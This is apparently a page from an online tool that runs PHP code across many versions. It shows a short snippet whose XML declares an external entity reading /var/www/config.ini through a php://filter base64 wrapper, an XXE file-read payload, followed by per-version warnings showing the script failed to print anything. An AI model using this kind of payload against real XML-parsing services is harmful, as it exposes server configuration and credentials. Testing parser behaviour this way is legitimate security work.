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run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/config.ini" > ]> <results> <result>&harmless;</result> </results>'; $doc = new DOMDocument; $doc->loadXML($xml); echo $doc->results->result;
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Warning: Undefined property: DOMDocument::$results in /in/6UqoT on line 15 Warning: Attempt to read property "result" on null in /in/6UqoT on line 15
Output for 7.2.0 - 7.2.33, 7.3.16 - 7.3.31, 7.4.0 - 7.4.33
Notice: Undefined property: DOMDocument::$results in /in/6UqoT on line 15 Notice: Trying to get property 'result' of non-object in /in/6UqoT on line 15
Output for 7.3.32 - 7.3.33
Output for 5.4.2 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.10
Notice: Undefined property: DOMDocument::$results in /in/6UqoT on line 15 Notice: Trying to get property of non-object in /in/6UqoT on line 15
preferences:
170.11 ms | 403 KiB | 224 Q